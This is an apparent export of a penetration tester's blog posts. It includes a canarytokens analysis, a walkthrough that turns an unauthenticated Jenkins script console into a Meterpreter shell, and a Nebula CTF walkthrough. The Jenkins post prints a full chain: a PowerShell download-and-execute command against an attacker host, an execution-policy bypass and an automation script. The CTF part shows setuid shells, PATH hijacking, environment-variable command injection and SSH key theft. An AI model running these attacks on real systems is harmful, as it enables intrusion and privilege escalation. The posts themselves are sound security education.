of \u003ccode\u003elsass\u003c/code\u003e and pass the hash to move around laterally. This has been the typical breakfast of many pentesters. Heck, there are even attempts to \u003ca href=\"https://github.com/sensepost/autoDANE\"\u003eautomate\u003c/a\u003e this type of process because, personally, I feel its getting pretty old. Yet, its still very viable as an attack method due to its high success rate!\u003c/p\u003e\n\u003cp\u003eThis post however tries to look at it from a little fresher perspective. There are many posts like this out there, but this one is mine. Mostly just a brain dump that I can refer to later. Many others have written this up (maybe even in greater detail), so definitely have a look around!\u003c/p\u003e","title":"kerberos, kerberoast and golden tickets"},{"content":"Content license All non-code blog content is licensed under Creative Commons BY-NC-SA.\nCode license All source code files and snippets found on this blog, unless otherwise explicitly noted, are licensed under the terms below.\nCopyright 2018 Leon Jacobs Licensed under the Apache License, Version 2.0 (the \u0026#34;License\u0026#34;); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \u0026#34;AS IS\u0026#34; BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ","permalink":"https://leonjza.github.io/license/","summary":"Content license All non-code blog content is licensed under Creative Commons BY-NC-SA.\nCode license All source code files and snippets found on this blog, unless otherwise explicitly noted, are licensed under the terms below.\nCopyright 2018 Leon Jacobs Licensed under the Apache License, Version 2.0 (the \u0026#34;License\u0026#34;); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \u0026#34;AS IS\u0026#34; BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.","title":"license"},{"content":"background   A silly reverse shell invoked via the Composer Dependency Manager. Source here\nComposer, which is most probably the most popular PHP dependency manager allows for scripts to run as callbacks on based an event. Callbacks are normally triggered just before or after certain events.\nIt is possible to provide shell commands to the scripts property in the required composer.json file (with a few restrictions), but this method echoes the command that it executes. A slightly more covert approach would be to execute a cleverly named static function in a class included in the codebase. It has to be one that can be autoloaded by composer.\nwhy? I thought a little about which scenarios this may actually be useful in and figured maybe only really strange edge cases where you can only run composer (as root lol?). I also remembered a bug in git (CVE-2014-9390) that allowed for code execution via \u0026lsquo;poisoned\u0026rsquo; repositories. Well, I guess depending on your perspective, this may be a very similar.\nPoC As part of a PoC, I just used the popular pentest-monkey PHP reverse shell, but really, anything is possible that is possible with PHP at this point.\n","permalink":"https://leonjza.github.io/blog/2015/09/30/a-totally-unnecessary-composer-shell/","summary":"\u003ch2 id=\"background\"\u003ebackground\u003c/h2\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/composer_shell_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eA silly reverse shell invoked via the Composer Dependency Manager. \u003ca href=\"https://github.com/leonjza/composer-shell\"\u003eSource here\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://getcomposer.org/\"\u003eComposer\u003c/a\u003e, which is most probably \u003cem\u003ethe\u003c/em\u003e most popular PHP dependency manager allows for \u003ca href=\"https://getcomposer.org/doc/articles/scripts.md\"\u003escripts\u003c/a\u003e to run as callbacks on based an event.\nCallbacks are normally triggered just before or after certain events.\u003c/p\u003e\n\u003cp\u003eIt is possible to provide shell commands to the \u003ccode\u003escripts\u003c/code\u003e property in the required \u003ccode\u003ecomposer.json\u003c/code\u003e file (with a few restrictions), but this method echoes the command that it executes.\nA slightly more covert approach would be to execute a cleverly named static function in a class included in the codebase. It has to be one that can be autoloaded by composer.\u003c/p\u003e","title":"a totally unnecessary composer shell"},{"content":"introduction   Recently I became aware of the canarytokens project by the guys over at Thinkst. The basic idea is to manipulate things like documents / services in such a way that usage thereof will trigger an alert via some form of \u0026lsquo;phone home\u0026rsquo; feature. The is most probably better known as \u0026lsquo;honeydocs\u0026rsquo;. In the case of canarytokens, the phone home features can be either via a DNS or HTTP request coupled with a unique token. As paraphrased from the projects website, this is no new groundbreaking idea but just another usable one.\nIn this post, I just want to take a few moments and jot down my findings when investigating the documents generated by this project.\nread the source luke Most of the functionality that the canarytokens project provides for services make perfect sense. Things like the Web Bugs, DNS Tokens and SQL Triggers are not hard concepts to grasp. In fact, they mostly use the actual protocols used for the triggers. The odd one out in that list I guess is the SQL Triggers. From the code snippet for the trigger that is provided, one can see that it leverages xp_fileexist and xp_dirtree. Searching MSDN for this xp_fileexist function quickly reveals that its actually considered an \u0026ldquo;undocumented feature\u0026rdquo; (though I did not really bother trying to confirm this statement) that checks for the existence of a file. Besides the point, all this trigger does is compile a UNC path and executes the file existence check. This results in the DNS lookup happening to the canarytoken provided host once the SQL trigger files and tries to check if the file exists.\n  The more trickier ones in my opinion are the PDF and Microsoft Word honeydocs. Both of them use the DNS / HTTP thing, but I think the more interesting part is where exactly are these \u0026lsquo;tokens\u0026rsquo; placed, and how are they executed?\nI spent quite a bit of time getting my head around the published source code to learn the tricks. I was able to get a good idea of how it works, but realized it may be worth more if I inspected the generated docs themselves.\ncanarytokens generated PDF My first target was the generated PDF. I used the website to generate myself a token and downloaded the PDF. I decided to fire up peepdf to analyze the internals.\n  As can be seen in the above screenshot, the PDF version is 1.6. PeePDF has detected a suspicious element /AA so that will definitely be the first object we want to investigate. Admittedly I had to brush up a little on my PDF internals knowledge, and actually had to resort to the V1.6 PDF Specification to see what the /AA (and many other elements) denote.\n  An additional-actions field defining actions to be taken in response to various trigger events. Interesting. Lets take a closer look at the object.\n  Here we can see a line /AA \u0026lt;\u0026lt; /O 16 0 R \u0026gt;\u0026gt; which I assumed is referring to object 16. Lets see what that has for us.\n  Well, there we have the canary trigger URL! Note that PeePDF automatically tries to decode objects if it can, so the raw object may have been encoded someway, but that does not matter :)\nThat is all good and well, but it did not really tell me how this is actually executed. So I tried to dig a little deeper and came up with a theory.\n  From the above screenshot, I theorized that when the PDF is opened and parsed it will start with Object 1. Object 1 has a /First 14 element which should be the byte offset to the first compressed object. Object 14 is a an Object Stream with another instance of the canarytoken URL as a URI object. From the specification doc, we can read that A URI action causes a URI to be resolved\n  So, my guess is as soon as the doc is opened, this URI will be resolved as part of the parsing process, and the canarytoken trigger fired. That left me satisfied in accepting how it works :P\ncanarytokens generated DOCX The word doc on the other hand is a lot easier to understand. Downloading the generated honeydoc from canarytokens.org revealed to be a standard docx file.\n  This can be extracted and the inner workings of the document can be inspected. I have played with this type of phone home in a word doc, so, I was kinda expecting where this was going. I took the really easy route and just grepped the files from the docx archive for the word canary.\n  When you take a moment a read the Wikipedia entry for the Office Open XML Format, one will quickly see that it is possible to reference external images. It is for this reason that it is possible to have the word processor hit the trigger URL during parsing as it gets ready to pull the external image in.\nconclusion I think there is a lot of merit in this project. The methods used are obviously not fool proof, and if you are a really careful advesary and aware of these things then you will most probably not open docs from internet connected machines or ones without proper egress firewalling.\nIn my case, Little Snitch alerted me of the attempts to make the outgoing connections, so obviously that is a big give away for an attacker that was not previously aware of what was going on.\n","permalink":"https://leonjza.github.io/blog/2015/09/10/canarytokens-the-maybe-not-so-obvious/","summary":"\u003ch2 id=\"introduction\"\u003eintroduction\u003c/h2\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/canary_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eRecently I became aware of the \u003ca href=\"http://canarytokens.org\"\u003ecanarytokens\u003c/a\u003e project by the guys over at \u003ca href=\"http://thinkst.com/\"\u003eThinkst\u003c/a\u003e. The basic idea is to manipulate things like documents / services in such a way that usage thereof will trigger an alert via some form of \u0026lsquo;phone home\u0026rsquo; feature. The is most probably better known as \u0026lsquo;honeydocs\u0026rsquo;. In the case of \u003ca href=\"http://canarytokens.org\"\u003ecanarytokens\u003c/a\u003e, the phone home features can be either via a DNS or HTTP request coupled with a unique token. As paraphrased from the projects website, this is no new groundbreaking idea but just another usable one.\u003c/p\u003e\n\u003cp\u003eIn this post, I just want to take a few moments and jot down my findings when investigating the documents generated by this project.\u003c/p\u003e","title":"canarytokens - the maybe not so obvious"},{"content":"  tl;dr Flick II just got published on Vulnhub! You should try it =)\nintroduction After about a year since Flick I, I have finally managed to get Flick II out to VulnHub. I learned a lot from Flick I and as a result applied it to Flick II. The making of Flick II was also a very different story. If I have to compare it to the first one (which took 3 nights to build start to finish), Flick II took waay longer. I think the total build / testing time must be over a month.\nOriginally I had a whole bunch of ideas, and after lots of trial and error, came to what it has become today. I have to give a special shouts to @s4gi_ for the inspiration to go with the mobile app idea and @barrebas for testing the first really broken version :P\npreparation I believe Flick II will be the first Vulnerable VM on @VulnHub with a mobile twist to it. That means you will need to either install the bundled .apk on an Android phone, or run it in an Android emulator in order to progress on the path to root! The .apk is self-signed so expect Android to complain about that if you install it on a phone. Don\u0026rsquo;t feel bad if you don’t trust me (aka. some random guy on the internet). If you don’t, your safest bet then is to use an emulator. The only real requirement for the .apk is that the mobile app must be able to speak to the VM and be run on a relatively recent Android version.\nI hope you get to learn as much as I did making it!\nGood luck! :D\n","permalink":"https://leonjza.github.io/blog/2015/08/21/flick-ii-vuln-vm-with-a-mobile-twist/","summary":"tl;dr Flick II just got published on Vulnhub! You should try it =)\nintroduction After about a year since Flick I, I have finally managed to get Flick II out to VulnHub. I learned a lot from Flick I and as a result applied it to Flick II. The making of Flick II was also a very different story. If I have to compare it to the first one (which took 3 nights to build start to finish), Flick II took waay longer.","title":"flick II vuln vm with a mobile twist"},{"content":"  Recently I came across a few Jenkins continuous integration servers. A relatively old version I might add but that fact was not important. What was important though was the fact that it was not configured to be \u0026lsquo;secure\u0026rsquo;. Right out of the box Jenkins does not require any authentication to make use of it. In fact, it seems like its almost plug and play.\ngroooooooovy At first glance I was not too sure about what opportunities I was presented with when finding this. Poking around through the web interface eventually got me to the Script Console that Jenkins provides:\n  This looked promising. \u0026lsquo;Type in an arbitrary Groovy script and execute it on the server.' I had zero idea what Groovy Script was so to the le-Googles it was. Some research revealed that it is actually possible to execute commands using it. In fact, the syntax was quite expressive as explained in the documentation.\ndef process = \u0026#34;ls -l\u0026#34;.execute() println \u0026#34;Found text ${process.text}\u0026#34; The documentation goes into enough detail explaining the different options you have to execute commands, but the above snippet was enough to get going. To help with testing, I setup a local instance of the latest Jenkins (v1.615) and ran the Groovy Script. Remember, I was able to do this without any authentication requirement!\n  Nice and easy command execution! :D\ninteractive shell, power shell Getting an interactive shell on linux based hosts was as simple as picking your favorite flavor of reverse shell and moving on from there. On Windows based environments though, the builtin cmd.exe definitely has its limitations. For this reason, reaching out for a meterpreter shell is almost a knee-jerk reaction.\nThe one Jenkins machine that I had found was running on Windows as nt authority\\system, which of course was great news! I figured though that in order to get a meterpreter shell, I\u0026rsquo;d have to approach this in some conventional way. Either obtaining credentials somehow and launching it with say the metasploit SMB PSExec, or uploading an .exe somehow and executing that. Some investigations showed though that the AV on the box was killing the meterpreter.exe on the box so that option was out as well. So, next on the list? I could just make use of Invoke-Shellcode.ps1 from PowerSploit to download and execute one using one command.\nAdmittedly, I have never actually done this so a little Google-fu and research was needed to get it working right, but eventually this payed off.\nIn essence, getting the meterpreter shell up required 2 things (apart from the command execution). A payload which includes the Invoke-Shellcode.ps1 powershell script together with the meterpreter connection details, and an encoded powershell command to be executed using the command execution we have. Together these will download the hosted payload and prepare the meterpreter. If this sounds a little confusing, don\u0026rsquo;t worry it should be more clear after we have gone through it.\npreparing the payload As already mentioned, I was going to use Invoke-Shellcode.ps1 from PowerSploit. This will go into the payload that needs to be downloaded to bring the meterpreter up. When talking about payload here, all it really is is a file that will be made available via HTTP for the powershell script to download.\nThe payload will consist of 2 parts. First, defining function Invoke-Shellcode {}, and then invoking the function for a windows/meterpreter/reverse_https shell. Kali Linux has powersploit available in /usr/share so all I really did was cat it to my payload file:\n$ cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 \u0026gt; payload After that, I added the following line to the payload file which will invoke the introduced function and connect the meterpreter. My listener was on 192.168.252.1 on port 443:\nInvoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.252.1 -Lport 443 -Force This file was finally served via HTTP using the python SimpleHTTPServer with python -m SimpleHTTPServer which meant that it would be available at http://192.168.252.1:8000/payload.\npreparing the command Next, we need to prepare the actual command to run. We will make use of the powershell Invoke-Expression command and give it a [Net.WebClient.DownloadString](https://msdn.microsoft.com/en-us/library/ms144200(v=vs.110.aspx) object to download the payload we previously prepared and execute it.\niex (New-Object Net.WebClient).DownloadString(\u0026#39;http://192.168.252.1:8000/payload\u0026#39;) That whole command needs to be encoded so that, using the command injection, we can run powershell and not worry about escaping and things like that. I found some snippets online to help with this.\necho $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 The above will output a base64 encoded string that should be passed to the Powershell -Enc flag for execution. The last hurdle to overcome was a potential execution policy. The tl;dr of this is that it can be bypassed by simply passing -Exec ByPass to the powershell executable. So, in summary, the command will be as follows:\ncmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc aQBlAHgAIAAoAE4 [snip] BjBkACcAKQAKAA== pwn So, I now had the payload file available for download via HTTP, and the command I needed to run. The last thing I had to do was setup a reverse_https listener in metasploit and run the command!\n  From the python web server we can see the request come in for the payload:\n192.168.252.100 - - [28/May/2015 12:37:15] \u0026#34;GET /payload HTTP/1.1\u0026#34; 200 - And pop!\nmsf exploit(handler) \u0026gt; exploit [*] Started HTTPS reverse handler on https://0.0.0.0:443/ [*] Starting the payload handler... [*] 192.168.252.100:54023 Request received for /INITM... [*] 192.168.252.100:54023 Staging connection for target /INITM received... [*] Meterpreter session 1 opened (192.168.252.1:443 -\u0026gt; 192.168.252.100:54023) at 2015-05-28 12:37:17 +0200 meterpreter \u0026gt; meterpreter \u0026gt; getuid Server username: NT AUTHORITY\\SYSTEM automation While testing this, I slapped together a small script that will prepare the command to run and start the SimpleHTTPServer:\n#!/bin/bash  # meterpreter ip \u0026amp; port lhost=192.168.252.1 lport=443 echo \u0026#34; * Writing Payload\u0026#34; cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 \u0026gt; payload echo \u0026#34;Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost-Lport $lport-Force\u0026#34; \u0026gt;\u0026gt; payload echo \u0026#34; * Prepping Command\u0026#34; scriptblock=\u0026#34;iex (New-Object Net.WebClient).DownloadString(\u0026#39;http://$lhost:8000/payload\u0026#39;)\u0026#34; echo $scriptblock echo echo \u0026#34; * Encoding command\u0026#34; encode=\u0026#34;`echo $scriptblock| iconv --to-code UTF-16LE | base64 -w 0`\u0026#34; echo $encode command=\u0026#34;cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode\u0026#34; echo echo \u0026#34; * Final command\u0026#34; echo $command echo echo \u0026#34; * Starting HTTP Server to serve payload\u0026#34; python -m SimpleHTTPServer ","permalink":"https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter-toying-with-powersploit/","summary":"\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/jenkins_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eRecently I came across a few \u003ca href=\"https://jenkins-ci.org/\"\u003eJenkins\u003c/a\u003e continuous integration servers. A relatively old version I might add but that fact was not important. What was important though was the fact that it was not configured to be \u003cem\u003e\u0026lsquo;secure\u0026rsquo;\u003c/em\u003e. Right out of the box Jenkins does not require any authentication to make use of it. In fact, it seems like its almost plug and play.\u003c/p\u003e","title":"jenkins to meterpreter toying with powersploit"},{"content":"introduction Recently I decided I wanted to have a look at what Exploit Exercises had to offer. I was after the memory corruption related exploitation stuff to play with, until I saw the details for Nebula. Nebula covers a variety of simple and intermediate challenges that cover Linux privilege escalation, common scripting language issues, and file system race conditions.\n  I did not really have a lot of time on my hands and figured I should start with the \u0026ldquo;easy\u0026rdquo; stuff. Many of the levels Nebula presented were in fact very, very easy. However, towards final levels my knowledge was definitely being tested. Levels started taking much longer to complete as I was yet again realizing that the more you learn, the more you realize you you still have to learn. :)\nThis is the path I took to solve the 20 challenges.\nsetup On the details page, one could easily learn the format of the challenges, as well as some information should you need to get root access on the VM to configure things. Obviously the point is not to login with this account to solve challenges, but merely to fix things if they are broken for some reason.\nAfter my download finished, I booted the live image, checked the IP address it got assigned using the Nebula account and tried to SSH in:\n~ » ssh level00@192.168.217.239 no hostkey alg sigh. Some quick diagnostics showed that my SSH client was attempting to identify the remote server with a RSA/DSA key, but none was being presented. So, I quickly escalated the nebula account to root and generated a RSA host key with: ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key with no password. I was now able to log in:\n~ » ssh level00@192.168.217.239 The authenticity of host \u0026#39;192.168.217.239 (192.168.217.239)\u0026#39; can\u0026#39;t be established. RSA key fingerprint is cf:cf:68:5b:01:05:a8:52:aa:19:aa:54:a8:27:5d:46. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added \u0026#39;192.168.217.239\u0026#39; (RSA) to the list of known hosts. _ __ __ __ / | / /__ / /_ __ __/ /___ _ / |/ / _ \\/ __ \\/ / / / / __ `/ / /| / __/ /_/ / /_/ / / /_/ / /_/ |_/\\___/_.___/\\__,_/_/\\__,_/ exploit-exercises.com/nebula For level descriptions, please see the above URL. To log in, use the username of \u0026#34;levelXX\u0026#34; and password \u0026#34;levelXX\u0026#34;, where XX is the level number. Currently there are 20 levels (00 - 19). level00@192.168.217.239\u0026#39;s password: Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686) * Documentation: https://help.ubuntu.com/ New release \u0026#39;12.04 LTS\u0026#39; available. Run \u0026#39;do-release-upgrade\u0026#39; to upgrade to it. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. level00@nebula:~$ I could see that I was now logged in as level00\nlevel00@nebula:~$ id uid=1001(level00) gid=1001(level00) groups=1001(level00) The challenges are all in their respective flag folder. So if you are logged in as level00, you are interested in flag00. Once you have exploited whatever needed exploiting and gained the privileges of the respective flag, the command getflag could be run to confirm that you have the correct access. For the most part, I actually wanted to get shells as the users I escalated to, but just running getflag is enough to consider a level done. I had prepared a small C setuid shell in /var/tmp/shell.c with the following output:\n#include\u0026lt;stdio.h\u0026gt; int main(void) { setresuid(geteuid(), geteuid(), geteuid()); system(\u0026#34;/bin/sh\u0026#34;); return 0; } This shell was reused throughout the challenges. Lets dig into the challenges themselves.\nlevel00 Level00\u0026rsquo;s Description:\n This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.\n Finding SUID binaries is really easy. I guess because this is the format most of the challenges are in, it was a good start to get the challenger to know about SUID binaries :P\nSo, to solve level00:\nlevel00@nebula:~$ find / -perm -4000 2\u0026gt; /dev/null | xargs ls -lh -rwsr-x--- 1 flag00 level00 7.2K 2011-11-20 21:22 /bin/.../flag00 -rwsr-xr-x 1 root root 26K 2011-05-18 03:12 /bin/fusermount -rwsr-xr-x 1 root root 87K 2011-08-09 09:15 /bin/mount -rwsr-xr-x 1 root root 34K 2011-05-03 03:38 /bin/ping -rwsr-xr-x 1 root root 39K 2011-05-03 03:38 /bin/ping6 -rwsr-xr-x 1 root root 31K 2011-06-24 02:37 /bin/su -rwsr-xr-x 1 root root 63K 2011-08-09 09:15 /bin/umount -rwsr-x--- 1 flag00 level00 7.2K 2011-11-20 21:22 /rofs/bin/.../flag00 -rwsr-xr-x 1 root root 26K 2011-05-18 03:12 /rofs/bin/fusermount -rwsr-xr-x 1 root root 87K 2011-08-09 09:15 /rofs/bin/mount [...] level00@nebula:~$ /bin/.../flag00 Congrats, now run getflag to get your flag! flag00@nebula:~$ getflag You have successfully executed getflag on a target account level01 Level01\u0026rsquo;s Description:\n There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?\n With the description we are provided with the source code of a small C program:\n#include \u0026lt;stdlib.h\u0026gt;#include \u0026lt;unistd.h\u0026gt;#include \u0026lt;string.h\u0026gt;#include \u0026lt;sys/types.h\u0026gt;#include \u0026lt;stdio.h\u0026gt; int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system(\u0026#34;/usr/bin/env echo and now what?\u0026#34;); } We can see a bunch of UID/GID stuff being set with with setresgid and setresuid and then a system command being run with system(). The problem lies in the fact that the command that is being run does not have a full path specified for the echo command. Even though its called with /usr/bin/env, it is possible to modify the current PATH variable and have env report echo as being somewhere other than where it would normally be.\nOn the filesystem we find the flag01 binary and can see it is setuid for flag01 user (we are currently logged in as level01):\nlevel01@nebula:~$ cd ~flag01/ level01@nebula:/home/flag01$ ls -lh flag01 -rwsr-x--- 1 flag01 level01 7.2K 2011-11-20 21:22 flag01 level01@nebula:/home/flag01$ ./flag01 and now what? Abusing this is really easy. I decided to create my own echo binary and modified PATH so that it is called instead of the real echo. A small note here though. The Nebula vm has /tmp mounted with the nosuid option. I see this many times in the real world. What this effectively means is that any suid bit will be ignored for binaries executed on this mount point. Luckily though my second resort being /var/tmp was not mounted separately and I had write access there :)\nlevel01@nebula:/home/flag01$ mount | grep \u0026#34;/tmp\u0026#34; tmpfs on /tmp type tmpfs (rw,nosuid,nodev) level01@nebula:/home/flag01$ ls -lah /var/ | grep tmp drwxrwxrwt 3 root root 29 2012-08-23 18:46 tmp So, to solve level01:\nlevel01@nebula:/home/flag01$ cat /var/tmp/echo #!/bin/sh gcc /var/tmp/shell.c -o /var/tmp/flag01 chmod 4777 /var/tmp/flag01 level01@nebula:/home/flag01$ ls -lh /var/tmp/echo -rwxrwxr-x 1 level01 level01 77 2015-05-08 07:35 /var/tmp/echo level01@nebula:/home/flag01$ cat /var/tmp/shell.c #include\u0026lt;stdio.h\u0026gt; int main(void) { setresuid(geteuid(), geteuid(), geteuid()); system(\u0026#34;/bin/sh\u0026#34;); return 0; } level01@nebula:/home/flag01$ export PATH=/var/tmp:$PATH level01@nebula:/home/flag01$ ./flag01 level01@nebula:/home/flag01$ ls -lah /var/tmp/flag01 -rwsrwxrwx 1 flag01 level01 7.1K 2015-05-08 07:37 /var/tmp/flag01 level01@nebula:/home/flag01$ /var/tmp/flag01 sh-4.2$ getflag You have successfully executed getflag on a target account level02 Level02\u0026rsquo;s Description:\n There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?\n With the description we are provided with the source code of a small C program:\n#include \u0026lt;stdlib.h\u0026gt;#include \u0026lt;unistd.h\u0026gt;#include \u0026lt;string.h\u0026gt;#include \u0026lt;sys/types.h\u0026gt;#include \u0026lt;stdio.h\u0026gt; int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(\u0026amp;buffer, \u0026#34;/bin/echo %s is cool\u0026#34;, getenv(\u0026#34;USER\u0026#34;)); printf(\u0026#34;about to call system(\\\u0026#34;%s\\\u0026#34;)\\n\u0026#34;, buffer); system(buffer); } Level02 is very similar to Level01, except for that fact that here the line /bin/echo %s is cool is copied to buffer and eventually put through a system() call. The value of the current environment variable USER is added to the command. This is another easy exploit where a simple shell escape will do to get us our own shell. I prepped the shell to echo the word bob, the delimit the command with a ; character and specify the command I want to run. I then end it off with a hash (#) to ignore the rest of the commands that the program has hard coded (is cool in this case).\nSo, to solve level02:\nlevel02@nebula:/home/flag02$ ./flag02 about to call system(\u0026#34;/bin/echo level02 is cool\u0026#34;) level02 is cool level02@nebula:/home/flag02$ USER=\u0026#34;bob\u0026#34; \u0026amp;\u0026amp; ./flag02 about to call system(\u0026#34;/bin/echo bob is cool\u0026#34;) bob is cool level02@nebula:/home/flag02$ cat /var/tmp/shell.c #include\u0026lt;stdio.h\u0026gt; int main(void) { setresuid(geteuid(), geteuid(), geteuid()); system(\u0026#34;/bin/sh\u0026#34;); return 0; } level02@nebula:/home/flag02$ USER=\u0026#34;bob; id;#\u0026#34; \u0026amp;\u0026amp; ./flag02 about to call system(\u0026#34;/bin/echo bob; id;# is cool\u0026#34;) bob uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02) level02@nebula:/home/flag02$ USER=\u0026#34;bob; gcc /var/tmp/shell.c -o /var/tmp/flag02; chmod 4777 /var/tmp/flag02;#\u0026#34; \u0026amp;\u0026amp; ./flag02 about to call system(\u0026#34;/bin/echo bob; gcc /var/tmp/shell.c -o /var/tmp/flag02; chmod 4777 /var/tmp/flag02;# is cool\u0026#34;) bob level02@nebula:/home/flag02$ /var/tmp/flag02 sh-4.2$ getflag You have successfully executed getflag on a target account level03 Level03\u0026rsquo;s Description:\n Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.\n Logging in as level03, we find a directory and a sh script:\nlevel03@nebula:~$ cd ~flag03 level03@nebula:/home/flag03$ ls -lh total 512 drwxrwxrwx 2 flag03 flag03 3 2012-08-18 05:24 writable.d -rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh level03@nebula:/home/flag03$ cat writable.sh #!/bin/sh for i in /home/flag03/writable.d/* ; do (ulimit -t 5; bash -x \u0026#34;$i\u0026#34;) rm -f \u0026#34;$i\u0026#34; done With the mention of a cronjob, I assumed the writable.sh script was being run. From the source of the script we can see that everything in /home/flag03/writable.d/ will have a ulimit set so that processes don’t take more than 5 seconds, and be executed using bash -x. Once done, the file is removed. Easy to exploit.\nSo, to solve level03:\nlevel03@nebula:/home/flag03$ vim /var/tmp/flag03.sh level03@nebula:/home/flag03$ cat /var/tmp/flag03.sh #!/bin/sh gcc /var/tmp/shell.c -o /var/tmp/flag03 chmod 4777 /var/tmp/flag03 level03@nebula:/home/flag03$ cat /var/tmp/shell.c #include\u0026lt;stdio.h\u0026gt; int main(void) { setresuid(geteuid(), geteuid(), geteuid()); system(\u0026#34;/bin/sh\u0026#34;); return 0; } level03@nebula:/home/flag03$ cp /var/tmp/flag03.sh /home/flag03/writable.d/ level03@nebula:/home/flag03$ # wait some time for the cronjob level03@nebula:/home/flag03$ /var/tmp/flag03 sh-4.2$ getflag You have successfully executed getflag on a target account level04 Level04\u0026rsquo;s Description:\n This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)\n With the description we are provided with the source code of a small C program:\n#include \u0026lt;stdlib.h\u0026gt;#include \u0026lt;unistd.h\u0026gt;#include \u0026lt;string.h\u0026gt;#include \u0026lt;sys/types.h\u0026gt;#include \u0026lt;stdio.h\u0026gt;#include \u0026lt;fcntl.h\u0026gt; int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf(\u0026#34;%s [file to read]\\n\u0026#34;, argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], \u0026#34;token\u0026#34;) != NULL) { printf(\u0026#34;You may not access \u0026#39;%s\u0026#39;\\n\u0026#34;, argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, \u0026#34;Unable to open %s\u0026#34;, argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, \u0026#34;Unable to read fd %d\u0026#34;, fd); } write(1, buf, rc); } From the snippet we can see that a check is in place for the first argument to see if the string token exists in it. As the token we want to read is actually called token this check will obviously prevent us from reading it. As we also don’t have write access to the file we cant rename it either. We can however make a symlink to it with a different name, thereby circumventing this check.\nSo, to solve level04:\nlevel04@nebula:/home/flag04$ ln -s /home/flag04/token /var/tmp/flag04 level04@nebula:/home/flag04$ ./flag04 /var/tmp/flag04 06508b5e-8909-4f38-b630-fdb148a848a2 level04@nebula:/home/flag04$ su - flag04 Password: flag04@nebula:~$ getflag You have successfully executed getflag on a target account level05 Level05\u0026rsquo;s Description:\n Check the flag05 home directory. You are looking for weak directory permissions\n Browsing to the flag05 directory we can see a .backup directory containing a tar archive that is readable. This archive contained a private key that allowed login as the flag05 user.\nSo, to solve level05:\nlevel05@nebula:~$ cd ~flag05 level05@nebula:/home/flag05$ ls -lah total 5.0K drwxr-x--- 4 flag05 level05 93 2012-08-18 06:56 . drwxr-xr-x 1 root root 220 2012-08-27 07:18 .. drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup -rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag05 flag05 3.3K 2011-05-18 02:54 .bashrc -rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh level05@nebula:/home/flag05$ cd .backup/ level05@nebula:/home/flag05/.backup$ ls -lah total 2.0K drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 . drwxr-x--- 4 flag05 level05 93 2012-08-18 06:56 .. -rw-rw-r-- 1 flag05 flag05 1.8K 2011-11-20 20:13 backup-19072011.tgz level05@nebula:/home/flag05/.backup$ tar -xvf backup-19072011.tgz -C /var/tmp/ .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys level05@nebula:/home/flag05/.backup$ ssh -i /var/tmp/.ssh/id_rsa flag05@127.0.0.1 The authenticity of host \u0026#39;127.0.0.1 (127.0.0.1)\u0026#39; can\u0026#39;t be established. ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added \u0026#39;127.0.0.1\u0026#39; (ECDSA) to the list of known hosts. [...] flag05@nebula:~$ getflag You have successfully executed getflag on a target account level06 Level06\u0026rsquo;s Description:\n The flag06 account credentials came from a legacy unix system.\n Legacy unix system? This immediately had me thinking that the password hash may be in 